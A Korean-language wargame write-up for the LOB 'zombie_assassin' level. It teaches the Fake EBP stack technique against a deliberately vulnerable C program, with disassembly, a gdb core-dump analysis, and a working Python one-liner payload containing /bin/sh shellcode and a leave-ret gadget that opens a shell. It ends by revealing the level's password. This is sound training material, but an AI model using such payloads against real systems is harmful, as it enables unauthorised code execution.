Fake EBP는 가짜 스택 프레임 포인터를 만들어서 프로그램의 실행 흐름을 조작하는 기법입니다.
Return Address 영역까지만 덮어쓸 수 있을 때 사용합니다.
예시로 LOB의 zombie_assassin 문제를 봐보면
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
buffer의 크기가 40 Byte인데, strncpy() 함수로 딱 buffer + SFP + RET까지 거리인 48 Byte 크기의 입력만 받고 있습니다.
그래서 Return Address 영역 까지만 덮을 수 있기 때문에, Fake EBP 기법을 사용해야 합니다.
먼저 스택을 분석해보면
0x80484b7 <main+119>: push 48 // push 48
0x80484b9 <main+121>: mov %eax,DWORD PTR [%ebp+12] // eax = argv[0]
0x80484bc <main+124>: add %eax,4 // eax = argv[1]
0x80484bf <main+127>: mov %edx,DWORD PTR [%eax] // edx = argv[1]
0x80484c1 <main+129>: push %edx // push argv[1]
0x80484c2 <main+130>: lea %eax,[%ebp-40] // eax = buffer
0x80484c5 <main+133>: push %eax // push buffer
0x80484c6 <main+134>: call 0x8048374 <strncpy> // strncpy(buffer, argv[1], 48)
0x80484cb <main+139>: add %esp,12
위에 그림 처럼 됩니다.
Fake EBP는 RET 위치에 leave-ret 가젯을 넣고 EBP에 shellcode - 4의 주소를 넣어서 쉘을 띄웁니다.
그림으로 어떻게 쉘이 띄어지는지 봐보면
먼저 함수의 에필로그가 실행됩니다.
함수의 에필로그가 끝나면 RET에 있는 leave-ret 가젯으로 jump 하여 leave-ret 명령을 실행하게 됩니다.
leave-ret 명령을 실행하게 되면
eip가 shellcode의 주소로 조작되어 shellcode로 jump 하게 되고 쉘 코드가 실행되어 쉘이 띄어지게 됩니다.
이제 페이로드를 짜 보면
shellcode addr[4] + shellcode [25] + NOP [11] + buf-4 [4] + leave-ret [4]
익스플로잇 코드를 짜기 위해 leave-ret gadget과 buf - 4, shellcode의 주소를 찾아보면
0x80484df <main+159>: leave
0x80484e0 <main+160>: ret
leave-ret gadget : 0x80484df
[assassin@localhost assassin]$ cp zombie_assassin.c tmp
[assassin@localhost assassin]$ cd tmp
[assassin@localhost tmp]$ vi zombie_assassin.c
[assassin@localhost tmp]$ gcc -o zombie_assassin zombie_assassin.c
[assassin@localhost tmp]$ ./zombie_assassin "AAAA"
0xbffffac0
AAAA
익스플로잇 코드를 짜 보면
`python -c 'print "\xc4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*11+"\xbc\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
코드를 실행해보면
[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "\xc4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*11+"\xbc\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
0xbffffaa0
퀭??h//shh/bin?S?柰
?술욀
?
?옭???h저?`@i@
幾우@술욱
??
Segmentation fault (core dumped)
Segmentation fault가 발생했습니다.
core 파일을 분석해보면
(gdb) x/100x $esp
0xbffffac4: 0x080484ed 0x08048592 0xbffffa94 0x00000002
0xbffffad4: 0xbffffb14 0xbffffb20 0x40013868 0x00000002
0xbffffae4: 0x08048390 0x00000000 0x080483b1 0x08048440
0xbffffaf4: 0x00000002 0xbffffb14 0x080482e4 0x0804852c
0xbffffb04: 0x4000ae60 0xbffffb0c 0x40013e90 0x00000002
0xbffffb14: 0xbffffc06 0xbffffc18 0x00000000 0xbffffc49
0xbffffb24: 0xbffffc60 0xbffffc7f 0xbffffca1 0xbffffcaf
0xbffffb34: 0xbffffe72 0xbffffe91 0xbffffeaf 0xbffffec4
0xbffffb44: 0xbffffee4 0xbffffeef 0xbfffff00 0xbfffff08
0xbffffb54: 0xbfffff19 0xbfffff23 0xbfffff31 0xbfffff42
0xbffffb64: 0xbfffff50 0xbfffff5b 0xbfffff6f 0xbfffffc0
0xbffffb74: 0xbfffffd4 0x00000000 0x00000003 0x08048034
0xbffffb84: 0x00000004 0x00000020 0x00000005 0x00000006
0xbffffb94: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffba4: 0x00000008 0x00000000 0x00000009 0x08048390
0xbffffbb4: 0x0000000b 0x00000203 0x0000000c 0x00000203
0xbffffbc4: 0x0000000d 0x00000203 0x0000000e 0x00000203
0xbffffbd4: 0x00000010 0x0f8bfbff 0x0000000f 0xbffffc01
0xbffffbe4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbf4: 0x00000000 0x00000000 0x00000000 0x38366900
0xbffffc04: 0x2f2e0036 0x626d6f7a 0x615f6569 0x73617373
0xbffffc14: 0x006e6973 0xbffffac4 0x6850c031 0x68732f2f
0xbffffc24: 0x69622f68 0x50e3896e 0x31e18953 0xcd0bb0d2
0xbffffc34: 0x90909080 0x90909090 0x90909090 0xbffffabc
0xbffffc44: 0x080484df 0x44575000 0x6f682f3d 0x612f656d
0xbffffc18에 shellcode addr인 0xbffffac4가 있습니다.
그러면 buf - 4= 0xbffffc14이 되고 shellcode addr은 0xbffffc1c가 됩니다.
다시 익스플로잇 코드를 짜서 실행시켜보면
`python -c 'print "\x1c\xfc\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*11+"\x14\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`
[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "\x1c\xfc\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*11+"\x14\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`
0xbffffaa0
???h//shh/bin?S?柰
??욀
bash$
공격에 성공해서 쉘이 떴습니다.
패스워드를 출력해보면
bash$ my-pass
euid = 515
pushing me away